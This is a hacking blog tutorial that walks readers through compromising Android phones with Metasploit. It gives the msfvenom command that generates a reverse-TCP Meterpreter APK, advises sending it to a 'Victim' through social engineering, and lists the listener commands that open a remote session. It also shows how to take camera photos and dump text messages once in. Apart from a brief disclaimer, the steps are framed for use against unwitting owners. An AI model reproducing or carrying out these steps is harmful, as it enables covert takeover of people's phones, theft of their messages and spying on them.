Hack Android Devices? Undoubtedly one of the most sought after things by all the Wannabe Hackers out there. If you ever even mistakenly told someone that you’re into hacking, as a result there are 3 prominent questions you’ll definitely face. Can you hack into phones or particularly hack Android smartphones? Can you hack Facebook(or similarly any other social media for that matter, lol)? and lastly, Can you hack WiFi? 😛 And if you can suffice to any one of those, Congratulations! Seems like you are almost certainly a Hacker . Well, atleast(and only!) among those naive friends of yours.

Regardless of all that mocking, don’t get me wrong. To be able to easily hack Android devices is one of the most crucial and important part of your Hacker Skill-set. Probably for the reason that it’s just too huge a platform to be missed out on! While it’s just that people tend to forget that it’s just a “part“! But nonetheless it’s absolute fun! isn’t it? So without further a due, let’s get started…

Note: Performing such activities without the consent of the device owner is
      considered illegal. So, Please stay "Ethical". Our actual purpose of 
      learning Hacking should be to be able to protect ourselves and others
      from such events and not the other way round. Nonetheless, everything
      mentioned here is just for sharing my Knowledge and Educational Purposes.
      The HackrSpace will not be responsible for any of the 
     "Unethical Things" you might try to do with the provided information. 

Things you’ll need:

1. Kali Linux

2. Metasploit and MSFVenom: Included frameworks in Kali Linux

2. An Android Device(Victim)

3. Some Social Engineering skills

4. Curiosity and a sharp Brain

What is Metasploit and MSFVenom?

So, today I’ll show one of the most easy and famous methods to hack Android devices using Metasploit. According to Wikipedia, “The Metasploit Project” is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development”. Basically, Metasploit is a Framework providing a Pentesting software platform for Developing, Testing and and Executing exploits. Likewise, MSFVenom, a subpart(Framework Instance) of Metasploit, an integration of two original individual framework instances, msfconsole and msfencode. Just remember it simply helps to create extremely powerful Malicious Payloads(not just for Android hacking but for a hell lot more!) and the ability to encode them.

Find out more about Metasploit on it’s Official Site or over to it’s Wiki Page.

How to use MSFVenom to hack Android devices?

So there are basically 2 steps involved here to be able to successfully hack Android Devices : Generation of the Payload and Starting up a Listener.

How to Hack Android Devices |

Part 1: Generating the Payload

1. Fire up your Kali and Open a Terminal.

2. Copy your Internal IP Address.(Note: You might have something other than wlan0 for inet. Don’t worry it’s just the network interface!)

     
ifconfig

3. Enter the following commands in a new terminal to generate the Reverse TCP Payload.(Note: Replace the LHOST with your internal IP from Step 2)

    "msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.43.213 LPORT=4444 
     R >/root/Desktop/FILENAME.apk"

     • -p : Specify Payload
     • LHOST : Your ip address
     • LPORT : Listening Port number
     • R : RAW Format
     • >/root/Desktop/FILENAME.apk => Location to save the Payload

So, That’s it! You’re almost halfway into hacking that badass Android device! Just send your Payload to the Victim(Using some Social Engineering :P). And your Payload is ready to create Mayhem.

How to Hack Android Devices |

Part 2: Starting a Listener

Open up a new terminal. Now, enter the commands as shown:

     msfconsole

     use exploit/multi/handler

     set payload android/meterpreter/reverse_tcp

     set LHOST 192.168.8.134 (Enter your Internal IP same as in the 1st Part)

     set LPORT 4444

     exploit

Now as soon as the Victim installs and tries to open up the Payload(apk) on their device, you’ll get a Meterpreter Session.

So, there you have it. Complete access of the Victim’s phone right on your screen!

Also, you can check the various available commands and options using the help command.

So, it’s all done. But nonetheless I won’t just leave you hanging. To sum up the journey of How to hack Android using MSFVenom , here are some examples of just absolutely fun crazy stuff you could certainly do!

Taking a photo with the Camera! 
>webcam_snap

Dumping Text Messages!
>sms_dump

Finally keep in mind that the above method will only work if victim is on the same LAN as you (i.e. both should be on the same network). Furthermore, performing the same thing remotely using WAN is definitely possible. Just using your Public IP address instead of Private and with Port Forwarding enabled, it should do the trick. Umm… Sounds like Jibberish? Don’t you worry, I’ll be guiding you through that REAL SOON! So Stay Tuned and Happy Hacking! 😛